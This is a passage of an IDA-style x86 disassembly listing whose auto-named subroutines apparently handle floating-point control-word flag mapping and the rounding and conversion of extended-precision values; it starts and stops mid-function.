		add	edx, 1Ch
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+8], 0FFFFh


loc_42F7D1:				; CODE XREF: seg000:0042F79Ej
					; seg000:0042F7AFj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F7E0	proc near		; CODE XREF: sub_42F710+12p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_42F805
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_42F805:				; CODE XREF: sub_42F7E0+1Aj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_42F81D
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42F81D:				; CODE XREF: sub_42F7E0+33j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42F836
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_42F836:				; CODE XREF: sub_42F7E0+4Bj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_42F84E
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_42F84E:				; CODE XREF: sub_42F7E0+63j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_42F866
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_42F866:				; CODE XREF: sub_42F7E0+7Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42F882
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_42F882:				; CODE XREF: sub_42F7E0+94j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 0C00h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 800h
		jg	short loc_42F8B5
		cmp	[ebp+var_8], 800h
		jz	short loc_42F8C8
		cmp	[ebp+var_8], 0
		jz	short loc_42F8C0
		cmp	[ebp+var_8], 400h
		jz	short loc_42F8D3
		jmp	short loc_42F8E7
; ---------------------------------------------------------------------------


loc_42F8B5:				; CODE XREF: sub_42F7E0+B9j
		cmp	[ebp+var_8], 0C00h
		jz	short loc_42F8DE
		jmp	short loc_42F8E7
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F7E0+C8j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_42F8E7
; ---------------------------------------------------------------------------


loc_42F8C8:				; CODE XREF: sub_42F7E0+C2j
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx
		jmp	short loc_42F8E7
; ---------------------------------------------------------------------------


loc_42F8D3:				; CODE XREF: sub_42F7E0+D1j
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42F8E7
; ---------------------------------------------------------------------------


loc_42F8DE:				; CODE XREF: sub_42F7E0+DCj
		mov	ecx, [ebp+var_4]
		or	ch, 3
		mov	[ebp+var_4], ecx


loc_42F8E7:				; CODE XREF: sub_42F7E0+D3j
					; sub_42F7E0+DEj ...
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 300h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_42F929
		cmp	[ebp+var_C], 200h
		jz	short loc_42F91B
		cmp	[ebp+var_C], 300h
		jz	short loc_42F913
		jmp	short loc_42F935
; ---------------------------------------------------------------------------


loc_42F913:				; CODE XREF: sub_42F7E0+12Fj
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		jmp	short loc_42F935
; ---------------------------------------------------------------------------


loc_42F91B:				; CODE XREF: sub_42F7E0+126j
		mov	ecx, [ebp+var_4]
		or	ecx, 10000h
		mov	[ebp+var_4], ecx
		jmp	short loc_42F935
; ---------------------------------------------------------------------------


loc_42F929:				; CODE XREF: sub_42F7E0+11Dj
		mov	edx, [ebp+var_4]
		or	edx, 20000h
		mov	[ebp+var_4], edx


loc_42F935:				; CODE XREF: sub_42F7E0+131j
					; sub_42F7E0+139j ...
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42F952
		mov	ecx, [ebp+var_4]
		or	ecx, 40000h
		mov	[ebp+var_4], ecx


loc_42F952:				; CODE XREF: sub_42F7E0+164j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42F7E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F960	proc near		; CODE XREF: sub_42F710+36p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42F981
		mov	cx, [ebp+var_4]
		or	cl, 1
		mov	[ebp+var_4], cx


loc_42F981:				; CODE XREF: sub_42F960+14j
		mov	edx, [ebp+arg_0]
		and	edx, 8
		test	edx, edx
		jz	short loc_42F995
		mov	ax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], ax


loc_42F995:				; CODE XREF: sub_42F960+29j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42F9AA
		mov	dx, [ebp+var_4]
		or	dl, 8
		mov	[ebp+var_4], dx


loc_42F9AA:				; CODE XREF: sub_42F960+3Dj
		mov	eax, [ebp+arg_0]
		and	eax, 2
		test	eax, eax
		jz	short loc_42F9BF
		mov	cx, [ebp+var_4]
		or	cl, 10h
		mov	[ebp+var_4], cx


loc_42F9BF:				; CODE XREF: sub_42F960+52j
		mov	edx, [ebp+arg_0]
		and	edx, 1
		test	edx, edx
		jz	short loc_42F9D3
		mov	ax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], ax


loc_42F9D3:				; CODE XREF: sub_42F960+67j
		mov	ecx, [ebp+arg_0]
		and	ecx, 80000h
		test	ecx, ecx
		jz	short loc_42F9EB
		mov	dx, [ebp+var_4]
		or	dl, 2
		mov	[ebp+var_4], dx


loc_42F9EB:				; CODE XREF: sub_42F960+7Ej
		mov	eax, [ebp+arg_0]
		and	eax, 300h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 200h
		ja	short loc_42FA19
		cmp	[ebp+var_8], 200h
		jz	short loc_42FA2E
		cmp	[ebp+var_8], 0
		jz	short loc_42FA24
		cmp	[ebp+var_8], 100h
		jz	short loc_42FA3B
		jmp	short loc_42FA53
; ---------------------------------------------------------------------------


loc_42FA19:				; CODE XREF: sub_42F960+9Dj
		cmp	[ebp+var_8], 300h
		jz	short loc_42FA48
		jmp	short loc_42FA53
; ---------------------------------------------------------------------------


loc_42FA24:				; CODE XREF: sub_42F960+ACj
		mov	cx, [ebp+var_4]
		mov	[ebp+var_4], cx
		jmp	short loc_42FA53
; ---------------------------------------------------------------------------


loc_42FA2E:				; CODE XREF: sub_42F960+A6j
		mov	dx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], dx
		jmp	short loc_42FA53
; ---------------------------------------------------------------------------


loc_42FA3B:				; CODE XREF: sub_42F960+B5j
		mov	ax, [ebp+var_4]
		or	ah, 4
		mov	[ebp+var_4], ax
		jmp	short loc_42FA53
; ---------------------------------------------------------------------------


loc_42FA48:				; CODE XREF: sub_42F960+C0j
		mov	cx, [ebp+var_4]
		or	ch, 0Ch
		mov	[ebp+var_4], cx


loc_42FA53:				; CODE XREF: sub_42F960+B7j
					; sub_42F960+C2j ...
		mov	edx, [ebp+arg_0]
		and	edx, 30000h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_42FA79
		cmp	[ebp+var_C], 10000h
		jz	short loc_42FA86
		cmp	[ebp+var_C], 20000h
		jz	short loc_42FA93
		jmp	short loc_42FA9B
; ---------------------------------------------------------------------------


loc_42FA79:				; CODE XREF: sub_42F960+103j
		mov	ax, [ebp+var_4]
		or	ah, 3
		mov	[ebp+var_4], ax
		jmp	short loc_42FA9B
; ---------------------------------------------------------------------------


loc_42FA86:				; CODE XREF: sub_42F960+10Cj
		mov	cx, [ebp+var_4]
		or	ch, 2
		mov	[ebp+var_4], cx
		jmp	short loc_42FA9B
; ---------------------------------------------------------------------------


loc_42FA93:				; CODE XREF: sub_42F960+115j
		mov	dx, [ebp+var_4]
		mov	[ebp+var_4], dx


loc_42FA9B:				; CODE XREF: sub_42F960+117j
					; sub_42F960+124j ...
		mov	eax, [ebp+arg_0]
		and	eax, 40000h
		test	eax, eax
		jz	short loc_42FAB2
		mov	cx, [ebp+var_4]
		or	ch, 10h
		mov	[ebp+var_4], cx


loc_42FAB2:				; CODE XREF: sub_42F960+145j
		mov	ax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42F960	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FAC0	proc near		; CODE XREF: seg000:0042F6E0p
					; seg000:0042F701p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_42FAE3
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_42FAE3:				; CODE XREF: sub_42FAC0+18j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_42FAFB
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42FAFB:				; CODE XREF: sub_42FAC0+31j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42FB14
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_42FB14:				; CODE XREF: sub_42FAC0+49j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_42FB2C
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_42FB2C:				; CODE XREF: sub_42FAC0+61j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_42FB44
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_42FB44:				; CODE XREF: sub_42FAC0+7Aj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42FB60
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_42FB60:				; CODE XREF: sub_42FAC0+92j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42FAC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FB70	proc near		; CODE XREF: sub_42FCB0+70p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42FB94
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42FB94:				; CODE XREF: sub_42FB70+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_8]
		test	edx, edx
		jz	short loc_42FBBF
		xor	eax, eax
		jmp	short loc_42FBF0
; ---------------------------------------------------------------------------


loc_42FBBF:				; CODE XREF: sub_42FB70+49j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42FBD3
; ---------------------------------------------------------------------------


loc_42FBCA:				; CODE XREF: sub_42FB70:loc_42FBE9j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_42FBD3:				; CODE XREF: sub_42FB70+58j
		cmp	[ebp+var_C], 3
		jge	short loc_42FBEB
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42FBE9
		xor	eax, eax
		jmp	short loc_42FBF0
; ---------------------------------------------------------------------------


loc_42FBE9:				; CODE XREF: sub_42FB70+73j
		jmp	short loc_42FBCA
; ---------------------------------------------------------------------------


loc_42FBEB:				; CODE XREF: sub_42FB70+67j
		mov	eax, 1


loc_42FBF0:				; CODE XREF: sub_42FB70+4Dj
					; sub_42FB70+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FC00	proc near		; CODE XREF: sub_42FCB0+84p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42FC24
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42FC24:				; CODE XREF: sub_42FC00+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_433020
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_42FC72
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: sub_42FC00+9Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_42FC72:				; CODE XREF: sub_42FC00+67j
		cmp	[ebp+var_C], 0
		jl	short loc_42FCA1
		cmp	[ebp+var_10], 0
		jz	short loc_42FCA1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		push	1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_433020
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_42FC69
; ---------------------------------------------------------------------------


loc_42FCA1:				; CODE XREF: sub_42FC00+76j
					; sub_42FC00+7Cj
		mov	eax, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
sub_42FC00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FCB0	proc near		; CODE XREF: sub_42FF40+ABp
					; sub_42FF40+132p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_14], eax
		mov	edx, [ebp+var_C]
		and	edx, 8000001Fh
		jns	short loc_42FCEE
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_42FCEE:				; CODE XREF: sub_42FCB0+37j
		mov	eax, 1Fh
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_1C]
		test	edx, edx
		jz	short loc_42FD3F
		mov	eax, [ebp+var_C]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42FB70
		add	esp, 8
		test	eax, eax
		jnz	short loc_42FD3F
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42FC00
		add	esp, 8
		mov	[ebp+var_18], eax


loc_42FD3F:				; CODE XREF: sub_42FCB0+63j
					; sub_42FCB0+7Aj
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4]
		and	eax, edx
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_42FD6F
; ---------------------------------------------------------------------------


loc_42FD66:				; CODE XREF: sub_42FCB0+D2j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_42FD6F:				; CODE XREF: sub_42FCB0+B4j
		cmp	[ebp+var_10], 3
		jge	short loc_42FD84
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx*4], 0
		jmp	short loc_42FD66
; ---------------------------------------------------------------------------


loc_42FD84:				; CODE XREF: sub_42FCB0+C3j
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_42FCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FD90	proc near		; CODE XREF: sub_42FF40+98p
					; sub_42FF40:loc_43004Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_42FDB4
; ---------------------------------------------------------------------------


loc_42FDAB:				; CODE XREF: sub_42FD90+46j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42FDB4:				; CODE XREF: sub_42FD90+19j
		cmp	[ebp+var_C], 3
		jge	short loc_42FDD8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_42FDAB
; ---------------------------------------------------------------------------


loc_42FDD8:				; CODE XREF: sub_42FD90+28j
		mov	esp, ebp
		pop	ebp
		retn
sub_42FD90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FDE0	proc near		; CODE XREF: sub_42FF40+7Cp
					; sub_42FF40+D5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42FDF6
; ---------------------------------------------------------------------------


loc_42FDED:				; CODE XREF: sub_42FDE0+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42FDF6:				; CODE XREF: sub_42FDE0+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_42FE0B
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0
		jmp	short loc_42FDED
; ---------------------------------------------------------------------------


loc_42FE0B:				; CODE XREF: sub_42FDE0+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42FDE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FE10	proc near		; CODE XREF: sub_42FF40+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42FE26
; ---------------------------------------------------------------------------


loc_42FE1D:				; CODE XREF: sub_42FE10:loc_42FE3Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42FE26:				; CODE XREF: sub_42FE10+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_42FE3E
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_42FE3C
		xor	eax, eax
		jmp	short loc_42FE43
; ---------------------------------------------------------------------------


loc_42FE3C:				; CODE XREF: sub_42FE10+26j
		jmp	short loc_42FE1D
; ---------------------------------------------------------------------------


loc_42FE3E:				; CODE XREF: sub_42FE10+1Aj
		mov	eax, 1


loc_42FE43:				; CODE XREF: sub_42FE10+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42FE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FE50	proc near		; CODE XREF: sub_42FF40+11Fp
					; sub_42FF40+148p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_42FE75
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_42FE75:				; CODE XREF: sub_42FE50+1Ej
		mov	[ebp+var_4], eax
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		jmp	short loc_42FE9E
; ---------------------------------------------------------------------------


loc_42FE95:				; CODE XREF: sub_42FE50+9Fj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42FE9E:				; CODE XREF: sub_42FE50+43j
		cmp	[ebp+var_C], 3
		jge	short loc_42FEF1
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		and	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		or	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4], edx
		mov	ecx, 20h
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		shl	edx, cl
		mov	[ebp+var_8], edx
		jmp	short loc_42FE95
; ---------------------------------------------------------------------------


loc_42FEF1:				; CODE XREF: sub_42FE50+52j
		mov	[ebp+var_C], 2
		jmp	short loc_42FF03
; ---------------------------------------------------------------------------


loc_42FEFA:				; CODE XREF: sub_42FE50:loc_42FF35j
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax


loc_42FF03:				; CODE XREF: sub_42FE50+A8j
		cmp	[ebp+var_C], 0
		jl	short loc_42FF37
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_18]
		jl	short loc_42FF28
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax*4], edx
		jmp	short loc_42FF35
; ---------------------------------------------------------------------------


loc_42FF28:				; CODE XREF: sub_42FE50+BFj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0


loc_42FF35:				; CODE XREF: sub_42FE50+D6j
		jmp	short loc_42FEFA
; ---------------------------------------------------------------------------


loc_42FF37:				; CODE XREF: sub_42FE50+B7j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42FE50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF40	proc near		; CODE XREF: sub_430190+10p
					; sub_4301B0+10p

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		sub	ecx, 3FFFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 0FFFFC001h
		jnz	short loc_42FFD0
		mov	[ebp+var_8], 0
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_42FE10
		add	esp, 4
		test	eax, eax
		jz	short loc_42FFB8
		mov	[ebp+var_1C], 0
		jmp	short loc_42FFCB
; ---------------------------------------------------------------------------


loc_42FFB8:				; CODE XREF: sub_42FF40+6Dj
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42FDE0
		add	esp, 4
		mov	[ebp+var_1C], 2


loc_42FFCB:				; CODE XREF: sub_42FF40+76j
		jmp	loc_43011C
; ---------------------------------------------------------------------------


loc_42FFD0:				; CODE XREF: sub_42FF40+56j
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_30]
		push	ecx
		call	sub_42FD90
		add	esp, 8
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		push	eax
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_42FCB0
		add	esp, 8
		test	eax, eax
		jz	short loc_430000
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_430000:				; CODE XREF: sub_42FF40+B5j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	edx, [eax+4]
		sub	edx, [ecx+8]
		cmp	[ebp+var_4], edx
		jge	short loc_430030
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42FDE0
		add	esp, 4


loc_43001D:				; DATA XREF: seg002:off_446E80o
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	loc_43011C
; ---------------------------------------------------------------------------


loc_430030:				; CODE XREF: sub_42FF40+CFj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jg	short loc_4300A0
		mov	eax, [ebp+arg_8]
